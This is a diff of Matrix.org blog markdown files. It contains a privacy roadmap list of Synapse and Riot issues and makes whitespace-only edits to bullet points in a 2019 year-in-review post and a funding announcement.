* [5751 Make homeservers able to handle registration-with-email without depending on an Identity Server](https://github.com/matrix-org/synapse/issues/5751) (done)
|
||||
* [5786 Support IS v2 API with authentication for requests proxied to the IS](https://github.com/matrix-org/synapse/issues/5786) (done)
|
||||
* [5827 Add 3PID unbind API for MSC2140](https://github.com/matrix-org/synapse/issues/5827) (done)
|
||||
* [5835 [1/2] Allow homeservers to send registration emails | Sending the email](https://github.com/matrix-org/synapse/pull/5835) (done)
|
||||
* [5861 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/issues/5861) (done)
|
||||
* [5862 Allow account owners to rebind 3PIDs as in MSC2229](https://github.com/matrix-org/synapse/issues/5862) (done)
|
||||
* [5868 Add flag in /versions for whether clients should send id_server params](https://github.com/matrix-org/synapse/pull/5868) (done)
|
||||
* [5874 Placeholder issue for privacy migration path](https://github.com/matrix-org/synapse/issues/5874) (done)
|
||||
* [5875 Remove trusted_third_party_id_servers functionality](https://github.com/matrix-org/synapse/pull/5875) (done)
|
||||
* [5876 Replace trust_identity_server_for_password_resets with account_threepid_delegate](https://github.com/matrix-org/synapse/pull/5876) (done)
|
||||
* [5892 Switch to using v2 Identity Service APIs other than lookup (MSC 2140)](https://github.com/matrix-org/synapse/pull/5892) (done)
|
||||
* [5897 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/pull/5897) (done)
|
||||
* [5927 Add a m.id_access_token flag to unstable_features](https://github.com/matrix-org/synapse/issues/5927) (done)
|
||||
* [5928 Split account_threepid_handler into a msisdn and email versions](https://github.com/matrix-org/synapse/issues/5928) (done)
|
||||
* [5929 Use account_threepid_delegate for sending SMS](https://github.com/matrix-org/synapse/issues/5929) (done)
|
||||
* [5930 Add m.id_access_token flag](https://github.com/matrix-org/synapse/pull/5930) (done)
|
||||
* [5934 Censor redactions in DB after a month](https://github.com/matrix-org/synapse/pull/5934) (done)
|
||||
* [5935 Use federation blacklist for requests to identity servers](https://github.com/matrix-org/synapse/issues/5935) (done)
|
||||
* [5937 Revert "Use the v2 lookup API for 3PID invites"](https://github.com/matrix-org/synapse/pull/5937) (done)
|
||||
* [5940 [2/2] Allow homeservers to send registration emails | Accepting the verification](https://github.com/matrix-org/synapse/pull/5940) (done)
|
||||
* [5945 Revert "Add m.id_access_token flag"](https://github.com/matrix-org/synapse/pull/5945) (done)
|
||||
* [5948 Support v2 Identity Server APIs](https://github.com/matrix-org/synapse/pull/5948) (done)
|
||||
* [5964 Remove bind_email and bind_msisdn](https://github.com/matrix-org/synapse/pull/5964) (done)
|
||||
* [5968 Set m.require_identity_server to always be False](https://github.com/matrix-org/synapse/pull/5968) (done)
|
||||
* [5969 Change account_threepid_delegate to a dictionary](https://github.com/matrix-org/synapse/pull/5969) (done)
|
||||
* [5972 Add m.require_identity_server to /versions unstable_flags](https://github.com/matrix-org/synapse/pull/5972) (done)
|
||||
* [5974 Add m.id_access_token to /versions unstable_features (MSC2264)](https://github.com/matrix-org/synapse/pull/5974) (done)
|
||||
* [5976 Use the v2 Identity Service API for lookups (MSC2134 + MSC2140)](https://github.com/matrix-org/synapse/pull/5976) (done)
|
||||
* [5979 v2 3PID Invites (part of MSC2140)](https://github.com/matrix-org/synapse/pull/5979) (done)
|
||||
* [5980 Add POST /_matrix/client/r0/account/3pid/unbind (MSC2140)](https://github.com/matrix-org/synapse/pull/5980) (done)
|
||||
* [5987 Allow Synapse to send registration emails + choose Synapse or an external server to handle 3pid validation](https://github.com/matrix-org/synapse/pull/5987) (done)
|
||||
* [5996 Allow users to rebind 3pids they own (MSC2229)](https://github.com/matrix-org/synapse/pull/5996) (done)
|
||||
* [6000 Use the federation blacklist for requests to untrusted Identity Servers](https://github.com/matrix-org/synapse/pull/6000) (done)
|
||||
* [6011 Use account_threepid_delegate for 3pid validation](https://github.com/matrix-org/synapse/pull/6011) (done)
|
||||
* [6013 Fix existing v2 identity server calls (MSC2140)](https://github.com/matrix-org/synapse/pull/6013) (done)
|
||||
* [6042 Allow HS to send emails when adding an email to the HS](https://github.com/matrix-org/synapse/pull/6042) (done)
|
||||
* [6043 Implement MSC2290](https://github.com/matrix-org/synapse/pull/6043) (done)
|
||||
* [6044 Add an unstable feature flag for separate add/bind 3pid APIs](https://github.com/matrix-org/synapse/pull/6044) (done)
|
||||
* [6062 Use unstable prefix for 3PID unbind API](https://github.com/matrix-org/synapse/pull/6062) (done)
|
||||
* [6067 Drop support for bind param on POST /account/3pid (MSC2290)](https://github.com/matrix-org/synapse/pull/6067) (done)
|
||||
* [6076 Synapse doesn't give clients a submit_url on requestToken breaking msisdn adding](https://github.com/matrix-org/synapse/issues/6076) (done)
|
||||
* [6078 Add POST submit_token endpoint for MSISDN](https://github.com/matrix-org/synapse/pull/6078) (done)
|
||||
* [6079 Add submit_url response parameter to msisdn /requestToken](https://github.com/matrix-org/synapse/pull/6079) (done)
|
||||
* [6087 Remove hardcoded defaults of matrix.org and vector.im in configuration](https://github.com/matrix-org/synapse/issues/6087) (done)
|
||||
* [6090 Explicitly log when a homeserver does not have a trusted key server configured](https://github.com/matrix-org/synapse/pull/6090)(done)
|
||||
* [6096 Riot Web expects the email validation next_link to have the sid appended](https://github.com/matrix-org/synapse/issues/6096) (done)
|
||||
* [6100 Remove email from registration flows if it’s unsupported](https://github.com/matrix-org/synapse/issues/6100) (done)
|
||||
* [6103 _check_threepid in auth.py incorrect for MSISDN](https://github.com/matrix-org/synapse/issues/6103) (done)
|
||||
* [6045 Support Client-Server API r0.6.0](https://github.com/matrix-org/synapse/issues/6045) (in progress)
|
||||
* [1263 When we redact events, any mxc content they refer to should be redacted too (SYN-216)](https://github.com/matrix-org/synapse/issues/1263)
|
||||
* [4565 Metadata resistance.](https://github.com/matrix-org/synapse/issues/4565)
|
||||
* [6086 Fetch signing-keys directly from servers before falling back to the trusted_key_servers](https://github.com/matrix-org/synapse/issues/6086)
|
||||
* phase:2
|
||||
* vector-im/riot-web
|
||||
* [4913 Option for homeservers to set a default integration manager](https://github.com/vector-im/riot-web/issues/4913) (done)
|
||||
* [10161 Store Integration Manager preferences in account data and allow user to change them somewhere sensible](https://github.com/vector-im/riot-web/issues/10161) (done)
|
||||
* [10967 Disconnect from identity server fails](https://github.com/vector-im/riot-web/issues/10967) (done)
|
||||
* [10443 Remove v1 IS API fallbacks once servers are updated](https://github.com/vector-im/riot-web/issues/10443)
|
||||
* [10557 Prompt users each time before sending data to an Identity Server that doesn't have a terms of service (unless you have actively set that IS in your account data).](https://github.com/vector-im/riot-web/issues/10557)
|
||||
* [10696 Allow users to disconnect from an integration manager entirely in the same way that we support doing this for identity servers](https://github.com/vector-im/riot-web/issues/10696)
|
||||
* [10909 Unable to disconnect from IS if the server is unavailable](https://github.com/vector-im/riot-web/issues/10909)
|
||||
* [10936 Refine submit_url handling to only activate with separate add and bind](https://github.com/vector-im/riot-web/issues/10936)
|
||||
* vector-im/riot-ios
|
||||
* [2711 Provide a better UX for users considering sharing their contact list with an IS to discover people they know already using Matrix](https://github.com/vector-im/riot-ios/issues/2711)
|
||||
* vector-im/riot-android
|
||||
* [3282 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-android/issues/3282)
|
||||
* [3323 Post MSC2290 bug / Clicking on the validation mail link fails registration](https://github.com/vector-im/riot-android/issues/3323)
|
||||
* matrix-org/matrix-doc
|
||||
* [1957 MSC1957: Integration manager discovery](https://github.com/matrix-org/matrix-doc/pull/1957) (done)
|
||||
* matrix-org/sydent
|
||||
* [196 Remove the lookup_hash field from local_threepid_associations](https://github.com/matrix-org/sydent/issues/196) (in progress)
|
||||
* matrix-org/synapse
|
||||
* [5881 Remove trust_identity_server_for_password_resets and account_threepid_delegate options](https://github.com/matrix-org/synapse/issues/5881)
|
||||
* phase:3
|
||||
* vector-im/riot-web
|
||||
* [10563 Add better domain for turn.matrix.org use as STUN server](https://github.com/vector-im/riot-web/issues/10563) (done)
|
||||
* [10087 Prompt to accept integration manager policies on registration](https://github.com/vector-im/riot-web/issues/10087)
|
||||
* [10167 Present an aggregated terms of service dialogue at registration if possible](https://github.com/vector-im/riot-web/issues/10167)
|
||||
* [10168 If a user has disabled the identity server integration on their account, we should make invite user handle this nicely](https://github.com/vector-im/riot-web/issues/10168)
|
||||
* [10401 Invite new users to publish their threepids to the identity server](https://github.com/vector-im/riot-web/issues/10401)
|
||||
* [10422 Use more contextual prompt for integration manager polices on use](https://github.com/vector-im/riot-web/issues/10422)
|
||||
* [10453 Log out from IM on Riot log out and IM removal](https://github.com/vector-im/riot-web/issues/10453)
|
||||
* [10455 Log out from IS on Riot log out and IS removal](https://github.com/vector-im/riot-web/issues/10455)
|
||||
* [10487 Store the date of users having read and accepted the IM policies in the IM db](https://github.com/vector-im/riot-web/issues/10487)
|
||||
* [10488 Store the date of users having read and accepted the IS policies in the IS db](https://github.com/vector-im/riot-web/issues/10488)
|
||||
* [10498 Terms test scalar requires the legacy ?v query param on the new account route](https://github.com/vector-im/riot-web/issues/10498)
|
||||
* [10575 We should show the 'must configure TURN' warning when a call fails, even after using the fallback turn.matrix.org](https://github.com/vector-im/riot-web/issues/10575)
|
||||
* [10615 Change all IS access token APIs to use getIdentityAccessToken only](https://github.com/vector-im/riot-web/issues/10615)
|
||||
* [10671 riot submits sign-ed25519 requests as POST requests with params in query string and empty body](https://github.com/vector-im/riot-web/issues/10671)
|
||||
* [10746 /invite doesn't force terms with older homeservers](https://github.com/vector-im/riot-web/issues/10746)
|
||||
* [10830 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-web/issues/10830)
|
||||
* [10950 Unhelpful 400 error when adding MSISDN and server doesn’t delegate](https://github.com/vector-im/riot-web/issues/10950)
|
||||
* vector-im/riot-ios
|
||||
* [2710 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-ios/issues/2710)
|
||||
* matrix-org/matrix-doc
|
||||
* [447 We need a way to be able to expire data from a HS. (SPEC-141)](https://github.com/matrix-org/matrix-doc/issues/447)
|
||||
* matrix-org/synapse
|
||||
* [5830 `pushers` table contains user device names, which may include user real names](https://github.com/matrix-org/synapse/issues/5830)
|
||||
|
|
|
|||
|
|
@ -77,9 +77,9 @@ interest with commercial Matrix endeavours, including New Vector.
|
|||
That said, New Vector would not be taking money from any investors if they did
|
||||
not believe their goals are aligned with Matrix's. To clarify:
|
||||
|
||||
* Matrix exists to create an open secure decentralised communication network and protocol for the benefit of all.
|
||||
* New Vector exists to help grow Matrix and be one of many successful companies in the Matrix ecosystem.
|
||||
* Tech VCs exist to invest their money in growing companies in order to get a return when the company IPOs or gets bought.
|
||||
* Matrix exists to create an open secure decentralised communication network and protocol for the benefit of all.
|
||||
* New Vector exists to help grow Matrix and be one of many successful companies in the Matrix ecosystem.
|
||||
* Tech VCs exist to invest their money in growing companies in order to get a return when the company IPOs or gets bought.
|
||||
|
||||
It turns out that these goals are not incompatible if one understands that the
|
||||
potential of the Matrix ecosystem is directly linked to its openness and size
|
||||
|
|
@ -149,4 +149,3 @@ We hope you’re as excited as we are to open a whole new chapter as Matrix
|
|||
picks up yet more momentum :D
|
||||
|
||||
-- Matthew, Amandine, and the whole Matrix team
|
||||
|
||||
|
|
|
|||
|
|
@ -19,22 +19,22 @@ That said, it’s hard to know where to start - Matrix accelerated more than eve
|
|||
|
||||
So, our immediate priorities for 2019 were:
|
||||
|
||||
* _r0 spec releases across the board (aka Matrix 1.0)_
|
||||
* _Implementing them in Synapse_
|
||||
* _r0 spec releases across the board (aka Matrix 1.0)_
|
||||
* _Implementing them in Synapse_
|
||||
|
||||
✅ Well, unless you’ve been floating in a sensory deprivation tank for the last year, hopefully you spotted that Matrix (as a protocol) finally exited beta - starting off with the announcement at FOSDEM in February of the [first stable release of the Server-Server API](https://matrix.org/blog/2019/02/04/matrix-at-fosdem-2019/), alongside the Synapse 0.99.x series as we began the process of migrating to the 1.0 APIs.
|
||||
|
||||
Specifically this meant killing off self-signed certificates, adding .well-known server discovery and implementing room version semantics so we could upgrade the underlying room version algorithm to fix the residual flaws. This culminated in June with the [official release of Matrix 1.0](https://matrix.org/blog/2019/06/11/introducing-matrix-1-0-and-the-matrix-org-foundation/) - now including the remaining APIs and a stable release of Synapse 1.0. The emphasis was on addressing all the main pre-1.0 design flaws rather than adding features or performance, but with 1.0 out the door at last we’ve been able to make progress there too.
|
||||
|
||||
* _Landing the Riot redesign_
|
||||
* _Landing the Riot redesign_
|
||||
|
||||
✅ The full redesign of Riot’s UI on Web/Desktop landed shortly after FOSDEM in Feb with [The Big 1.0](https://medium.com/@RiotChat/the-big-1-0-68fa7c6050be). Cosmetically we got most of the new look & feel in place, and have had very positive feedback overall - although some of the UX thinkos of the old app remain and coming up on the radar for fixing.
|
||||
|
||||
* _Finalising the Matrix.org Foundation_
|
||||
* _Finalising the Matrix.org Foundation_
|
||||
|
||||
✅ This happened too, coincident with releasing Matrix 1.0 in June - read all about it at [https://matrix.org/foundation](https://matrix.org/foundation). So far the governance and legal infrastructure the Foundation provides has helped the project significantly, and while it was a mammoth task to organise, we’re very glad it’s here! Huge thanks go out to Jon, Ross and Jutta for agreeing to join the foundation as Guardians - they have been excellent in patiently listening to the various dramas of the year and ensuring Matrix’s neutrality and that we keep an even keel.
|
||||
|
||||
* _Landing all the new E2E encryption UX and features_
|
||||
* _Landing all the new E2E encryption UX and features_
|
||||
|
||||
The good news on E2E encryption is that we’ve been making solid progress throughout the year - the bad news is that we are still yet to turn it on by default. Progress updates for the various pieces of the puzzle are as follows:
|
||||
|
||||
|
|
@ -50,15 +50,15 @@ The good news on E2E encryption is that we’ve been making solid progress throu
|
|||
|
||||
We were hoping to get cross-signing ready for the end of 2019, but in practice we’re now sprinting to get it done by FOSDEM 2020 in Feb - not least because we have a main-stage talk proposed to tell everyone how we landed it and turned on E2E by default... ;)
|
||||
|
||||
* ✅ Support for non-E2E clients. The last thing we want is to make it impossible to write a simple Matrix client, or to suddenly excommunicate (hah) all the existing Matrix bots & bridges which haven’t implemented E2E. To this end, poljar created [pantalaimon](https://github.com/matrix-org/pantalaimon) - our very own Matrix daemon, which can sit in the background and offload all your E2EE from your Matrix client by acting as a transparent Matrix proxy which magically encrypts everything. Built on matrix-nio and asyncio python3, We use it in production today for running various bots and it works excellently.
|
||||
* ✅ Support for non-E2E clients. The last thing we want is to make it impossible to write a simple Matrix client, or to suddenly excommunicate (hah) all the existing Matrix bots & bridges which haven’t implemented E2E. To this end, poljar created [pantalaimon](https://github.com/matrix-org/pantalaimon) - our very own Matrix daemon, which can sit in the background and offload all your E2EE from your Matrix client by acting as a transparent Matrix proxy which magically encrypts everything. Built on matrix-nio and asyncio python3, We use it in production today for running various bots and it works excellently.
|
||||
|
||||
* ✅ Support for search in E2E rooms. Hot off the heels of pantalaimon’s success, poljar also created [seshat](https://github.com/matrix-org/seshat) - a native library for clientside indexing encrypted Matrix events written in Rust, powered by the [tantivy](https://github.com/tantivy-search/tantivy) full-text search engine. (pantalaimon also has support for indexing via tantivy, which involved contributing python bindings for tantivy, but we ended up going with Rust so we could embed it natively in as many Matrix clients as possible). Seshat is particularly cool in that the indexes themselves are encrypted in on disk - and in future could even be synced between clients using [SSSS](https://github.com/uhoreg/matrix-doc/blob/ssss/proposals/1946-secure_server-side_storage.md) so you don’t have to reindex your messages every time you log in on a new device. Seshat is implemented behind a labs flag on Riot/Desktop and it will ship as soon Riot/Desktop’s build pipeline is fully updated to support native modules (which will also unlock other goodies, such as using faster/safer native E2E primitives, safer key storage, and Discord-style keyboard-shortcuts for VoIP).
|
||||
* ✅ Support for search in E2E rooms. Hot off the heels of pantalaimon’s success, poljar also created [seshat](https://github.com/matrix-org/seshat) - a native library for clientside indexing encrypted Matrix events written in Rust, powered by the [tantivy](https://github.com/tantivy-search/tantivy) full-text search engine. (pantalaimon also has support for indexing via tantivy, which involved contributing python bindings for tantivy, but we ended up going with Rust so we could embed it natively in as many Matrix clients as possible). Seshat is particularly cool in that the indexes themselves are encrypted in on disk - and in future could even be synced between clients using [SSSS](https://github.com/uhoreg/matrix-doc/blob/ssss/proposals/1946-secure_server-side_storage.md) so you don’t have to reindex your messages every time you log in on a new device. Seshat is implemented behind a labs flag on Riot/Desktop and it will ship as soon Riot/Desktop’s build pipeline is fully updated to support native modules (which will also unlock other goodies, such as using faster/safer native E2E primitives, safer key storage, and Discord-style keyboard-shortcuts for VoIP).
|
||||
|
||||
* 🏗 Fixing “unable to decrypt” errors. We’ve done big sprint over the last month or so to track down the final straggling causes of unable to decrypt errors. Some of these are legitimate bugs (e.g. [https://github.com/matrix-org/synapse/issues/6399](https://github.com/matrix-org/synapse/issues/6399)) - but many are artefacts of the current architecture: for instance, if the sender has no way to know your device was in the room when it encrypted a message, you won’t be able to decrypt. We’re addressing this by improving better error messages and feedback so the user isn’t surprised by what’s going on (aiming for Jan) - and in future we’ll have to revisit E2E’s fundamentals to ensure that it’s impossible to receive a message without also receiving the key to decrypt it.
|
||||
* 🏗 Fixing “unable to decrypt” errors. We’ve done big sprint over the last month or so to track down the final straggling causes of unable to decrypt errors. Some of these are legitimate bugs (e.g. [https://github.com/matrix-org/synapse/issues/6399](https://github.com/matrix-org/synapse/issues/6399)) - but many are artefacts of the current architecture: for instance, if the sender has no way to know your device was in the room when it encrypted a message, you won’t be able to decrypt. We’re addressing this by improving better error messages and feedback so the user isn’t surprised by what’s going on (aiming for Jan) - and in future we’ll have to revisit E2E’s fundamentals to ensure that it’s impossible to receive a message without also receiving the key to decrypt it.
|
||||
|
||||
* ✅ Support for push notifications in E2E rooms. This is kinda solved right now by having all clients get (silently) pushed whenever they receive a message in an E2E room with push enabled, and relying on the client to be woken up by the push in order to decrypt the message in order to display the push notification. However, this is battery intensive, and we could probably do better - but this isn’t a blocker for going live.
|
||||
* ✅ Support for push notifications in E2E rooms. This is kinda solved right now by having all clients get (silently) pushed whenever they receive a message in an E2E room with push enabled, and relying on the client to be woken up by the push in order to decrypt the message in order to display the push notification. However, this is battery intensive, and we could probably do better - but this isn’t a blocker for going live.
|
||||
|
||||
* 🏗 Support for FilePanel and NotifPanel in E2E rooms. Seshat should fix this by indexing all your messages (and so tracking whether they contain pushes or files, and populating up your local view of your file & notif panels respectively) - just need to ensure it’s hooked up.
|
||||
* 🏗 Support for FilePanel and NotifPanel in E2E rooms. Seshat should fix this by indexing all your messages (and so tracking whether they contain pushes or files, and populating up your local view of your file & notif panels respectively) - just need to ensure it’s hooked up.
|
||||
|
||||
...and that’s where things stand right now on E2E by default. We’ll start turning it on by default for private rooms as soon as the UX has landed (probably starting first with new DMs and private rooms, prompting the user in case they want to opt out - and then migrating existing ones). It’s worth noting that we have poured a *lot* of work into E2E encryption now - often to the detriment of the rest of Matrix; our rich featureset and decentralisation has combined to make this a tough nut to crack, but the end is in sight. Thanks to all for your patience and support while we’ve been working through this.
|
||||
|
||||
|
|
@ -66,82 +66,82 @@ That takes us to the end of the stuff we planned to prioritise in 2019 - but wha
|
|||
|
||||
## 2019: the medium-term priorities
|
||||
|
||||
* _Reworking and improving Communities/Groups._
|
||||
* _Reworking and improving Communities/Groups._
|
||||
|
||||
We have some really promising UX work and a fairly early spec proposal ([MSC1772](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1772/proposals/1772-groups-as-rooms.md)), but work in earnest hasn’t kicked off yet. It’s going to be one of the next big projects though.
|
||||
|
||||
* _Reactions._
|
||||
* _Reactions._
|
||||
|
||||
✅ Riot now has Reactions! 🎉🎉🎉 The only remaining work is to finish the remaining rough edges of the spec proposal ([MSC1849](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1849/proposals/1849-aggregations.md)) and actually land them in the Matrix spec proper.
|
||||
|
||||
* _E2E-encrypted Search_
|
||||
* _E2E-encrypted Search_
|
||||
|
||||
✅ [Seshat](https://github.com/matrix-org/seshat) exists! (see above)
|
||||
|
||||
* _Filtering. (empowering users to filter out rooms & content they're not interested in)._
|
||||
* _Filtering. (empowering users to filter out rooms & content they're not interested in)._
|
||||
|
||||
✅ We’ve ended up thinking lots in 2019 about empowering users to filter content. The main impetus has been to ensure that users and communities can filter out abuse (on their own terms), and also to start building infrastructure which can be used for folks to share their own filters. Over the last few months, this has started to take concrete form - with the arrival of [MSC2313](https://github.com/matrix-org/matrix-doc/blob/msc2313/proposals/2313-moderation-policy-rooms.md) “Moderation policies as rooms”, and [Mjolnir](https://github.com/matrix-org/mjolnir) - a bot you can run to enforce moderation policies on your rooms. It’s all quite early, but we expect a lot more work in this space over the coming year (and it’s wryly amusing that [Twitter has also woken up](https://twitter.com/jack/status/1204766078468911106) to it being an interesting problem needing to be solved.)
|
||||
|
||||
* _Extensible events_
|
||||
* _Extensible events_
|
||||
|
||||
Sorry folks; no progress here since a flurry of spec work ([MSC1767](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1767/proposals/1767-extensible-events.md)) back in Jan 2019. The good news is that the spec proposal seems to be relatively well received. The bad news is that we haven’t had bandwidth to finish reviewing it, implementing it and migrating it anywhere. It blocks a bunch of really useful stuff in Matrix, and there are users willing to pay for it (via New Vector) - we’ll get to it as soon as we can.
|
||||
|
||||
* _Editable messages._
|
||||
* _Editable messages._
|
||||
|
||||
✅ These landed too and are a thing of joy! Just need to merge [MSC1849](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1849/proposals/1849-aggregations.md).
|
||||
|
||||
* _Extensible Profiles (we've actually been experimenting with this already)._
|
||||
* _Extensible Profiles (we've actually been experimenting with this already)._
|
||||
|
||||
Similar to Extensible Events, there was a flurry of spec work ([MSC1769](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1769/proposals/1769-extensible-profiles-as-rooms.md)) back in Jan, but little progress since. This will also unlock a lot of really useful features - e.g. custom status, custom profile data, social timeline rooms etc. We’ll likely get to it shortly after communities work.
|
||||
|
||||
* _Threading._
|
||||
* _Threading._
|
||||
|
||||
🏗 So we actually landed label-based threading ([MSC2326](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2326/proposals/2326-label-based-filtering.md)) in Synapse 1.6, but it’s not exposed in Riot yet (or elsewhere). It doesn’t have quite the same semantics as Slack-style threading; the idea is to filter down your room based on which messages are tagged as part of a given topic. However, it’s very powerful, and it’ll be fun to add it to Riot at some point in 2020. Meanwhile, better-than-label-based-threading is also on the cards, although slightly lower priority than some of the other stuff in this section.
|
||||
|
||||
* _Landing the Riot/Android rewrite_
|
||||
* _Landing the Riot/Android rewrite_
|
||||
|
||||
🏗 As you probably know, RiotX is a full rewrite of Riot/Android in Kotlin using modern AndroidX and Jetpack idioms - and it entered beta [back in June](https://medium.com/@RiotChat/introducing-the-riotx-beta-for-android-b17952e8f771). Since then we’ve been frantically working away on both playing catch-up with the old app… as well as implementing all the new stuff (reactions, edits, new E2E verification, cross-signing etc) which makes no sense to waste time adding in Riot/Android, but also pushes out the timeline on RiotX itself.
|
||||
|
||||
We’re currently sprinting to try to get RiotX ready for FOSDEM in February - hopefully users will have felt the app starting to really stabilise over the last few months (it even supports breadcrumbs now!)
|
||||
|
||||
* _Considering whether to do a similar overhaul of Riot/iOS_
|
||||
* _Considering whether to do a similar overhaul of Riot/iOS_
|
||||
|
||||
🏗 It’s cheating a bit, but Manu (the lead developer on Riot/iOS and delivery manager of Riot/Mobile in general) has been hacking on an entirely new client called [Messagerie](https://github.com/manuroe/messagerie) in his spare time, using SwiftUI. The idea of throwing away the whole UI layer and replacing it with the latest best practices sounds suspiciously like RiotX - it’ll be interesting to see how RiotX/iOS takes shape next year!
|
||||
|
||||
* _Scaling synapse via sharding the master process_
|
||||
* _Scaling synapse via sharding the master process_
|
||||
|
||||
We ended up bottlenecked on IO rather than CPU in 2019, and as a result we worked on splitting synapse’s database across multiple database instances on a per-table granularity. However, the master process itself doesn’t shard yet; so we’re now bottlenecked on CPU and need to get on and do this asap to unlock further Synapse scalability for mega-monolithic-deployments like the Matrix.org homeserver.
|
||||
|
||||
* _Bridge UI for discovery of users/rooms and bridge status_
|
||||
* _Bridge UI for discovery of users/rooms and bridge status_
|
||||
|
||||
🏗 There’s been a bit of movement in the last few weeks on this, but nothing concrete yet.
|
||||
|
||||
* _Bandwidth-efficient transports_
|
||||
* _Bandwidth-efficient transports_
|
||||
|
||||
✅ We finished the 100bps CoAP transport proof-of-concept for Matrix, demoed it at FOSDEM and [shipped it in March](https://matrix.org/blog/2019/03/12/breaking-the-100-bps-barrier-with-matrix-meshsim-coap-proxy). However, we haven’t progressed it much further; it really needs a corporate sponsor who wants to fund work to finish it off and bake it properly into Matrix. **If you’re interested, please [get in touch](https://matrix.to/#/@matthew:matrix.org).**
|
||||
|
||||
* _Bandwidth-efficient routing_
|
||||
* _Bandwidth-efficient routing_
|
||||
|
||||
🏗 We also did a bunch of related work on bandwidth-efficient routing, which sadly hasn’t been released yet. However, it’s interesting to note that the [Decentralized Systems and Network Services Research Group](https://dsn.tm.kit.edu/english/) at Karlsruhe Institute of Technology’s Institute of Telematics has been looking into this space too - c.f. their [A Glimpse of the Matrix](https://publikationen.bibliothek.kit.edu/1000100364) paper, which ponders very similar problems.
|
||||
|
||||
* _Getting Dendrite to production._
|
||||
* _Getting Dendrite to production._
|
||||
|
||||
🏗 Dendrite work has been bubbling away in the background thanks to Anoa, Brendan, cnly (our GSoC dendrite contributor) and others. Inevitably most of our bandwidth has gone into getting Synapse to 1.0 and making sure it’s fit for purpose, but we want and need to keep Dendrite alive for next-generation purposes - and in fact New Vector is hiring new people to work on it in 2020.
|
||||
|
||||
* _Inline widgets (polls etc)_
|
||||
* _Inline widgets (polls etc)_
|
||||
|
||||
🏗 We have an MSC ([MSC2192](https://github.com/matrix-org/matrix-doc/pull/2192)), but not an implementation.
|
||||
|
||||
* _Improving VoIP over Matrix._
|
||||
* _Improving VoIP over Matrix._
|
||||
|
||||
Very little progress here, frustratingly. Jitsi has been upgraded and conference calls should kick ass these days (let us know if they don’t), but 1:1 needs a lot of love. Hopefully we’ll get to it in 2020.
|
||||
|
||||
* _Adding more bridges, and improving the current ones._
|
||||
* _Adding more bridges, and improving the current ones._
|
||||
|
||||
Lots of bridging progress in 2020 - all new puppeting Slack support; huge fixes to the IRC bridge (including shifting to Postgres at last); Bifrost (the XMPP bridge) progressed too, and there’s been loads of community bridging work around WhatsApp, Discord and others.
|
||||
|
||||
* _Account portability_
|
||||
* _Replacing MXIDs with public keys_
|
||||
* _Account portability_
|
||||
* _Replacing MXIDs with public keys_
|
||||
|
||||
We’ve just started looking at implementing these seriously via [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) (as of last week) - expect progress in 2020.
|
||||
|
||||
|
|
@ -151,31 +151,31 @@ So that sums up progress on the medium term menu - as you can see, a bunch actua
|
|||
|
||||
Finally, on the longer term radar:
|
||||
|
||||
* _Shared-code cross-platform client SDKs (e.g. sharing a native core library between matrix-{js,ios,android}-sdk)_
|
||||
* _Shared-code cross-platform client SDKs (e.g. sharing a native core library between matrix-{js,ios,android}-sdk)_
|
||||
|
||||
No progress here. Instead, all three main platforms have continued to write and maintain their own platform-specific SDKs for now. [Seshat](https://github.com/matrix-org/seshat) however will be the first piece of native rust code shared across all 3 platforms - let’s see how that goes first...
|
||||
|
||||
* _Matrix daemons (e.g. running an always-on client as a background process in your OS which apps can connect to via a lightweight CS API)_
|
||||
* _Matrix daemons (e.g. running an always-on client as a background process in your OS which apps can connect to via a lightweight CS API)_
|
||||
|
||||
✅ [Pantalaimon](https://github.com/matrix-org/pantalaimon) lives!
|
||||
|
||||
* _Push notifications via Matrix (using a daemon-style architecture)_
|
||||
* _Push notifications via Matrix (using a daemon-style architecture)_
|
||||
|
||||
No progress here, unless you count the CoAP low-bandwidth work. However, Bubu (also Riot/Android Fdroid maintainer) has been working on a project called [OpenPush](https://bubu1.eu/openpush/) which looks to help in this space (albeit not built on Matrix, but could be used by Matrix). There are a few other related projects. If someone wants to build this on top of Matrix + CoAP please get in touch asap!
|
||||
|
||||
* _Clientside homeservers (i.e. p2p matrix) - e.g. compiling Dendrite to WASM and running it in a service worker._
|
||||
* _Clientside homeservers (i.e. p2p matrix) - e.g. compiling Dendrite to WASM and running it in a service worker._
|
||||
|
||||
🏗 Work is actually happening on this currently. Dendrite has successfully compiled to WASM and runs, and we’ve had it (almost) talking HTTP tunnelled over libp2p as part of P2P Matrix experiments. In 2020 we’re going to be investing a lot in P2P Matrix - to give users full control of their communication without even having to run a server, and also to simplify onboarding and account portability enormously. We have a talk about this accepted for FOSDEM 2020 ([The Path to P2P Matrix](https://fosdem.org/2020/schedule/event/dip_p2p_matrix/)) and we’re actively (frantically) hacking on Dendrite to make it happen - keep an eye out for how things develop!
|
||||
|
||||
* _Experimenting with MLS for E2E Encryption_
|
||||
* _Experimenting with MLS for E2E Encryption_
|
||||
|
||||
🏗 Now that E2E-by-default has entered the “it works! let’s land it in Riot asap” phase, Uhoreg has had some time to start thinking about the longer term future of encryption in Matrix. [MLS (Messaging Layer Security)](https://datatracker.ietf.org/wg/mls/charter/) is the IETF’s initiative to define a standard mechanism for end-to-end-encrypted group chats, which has some major algorithmic improvements over Olm/Megolm and the Double Ratchet Algorithm as used by Signal. The catch is that it doesn’t work at all well with decentralisation - however, we’ve been [working with them](https://mailarchive.ietf.org/arch/msg/mls/MnLJkbJ_Mwe8Oz0Ll6delGJLPz4) to try to ensure MLS can work in a decentralised world. More recently, uhoreg has had a chance to think a lot more about this and we’re working on a proposal for Decentralised MLS which builds on plain MLS while also giving the semantics needed for Matrix. It’s all very experimental at this point (and the proof-of-concept implementation is written in [Julia](https://julialang.org/)!) - but looks promising. We’ll share more asap, and will certainly be investing more time in this in 2020..
|
||||
|
||||
* _Storing and querying more generic data structures in Matrix (e.g. object trees; scene graphs)_
|
||||
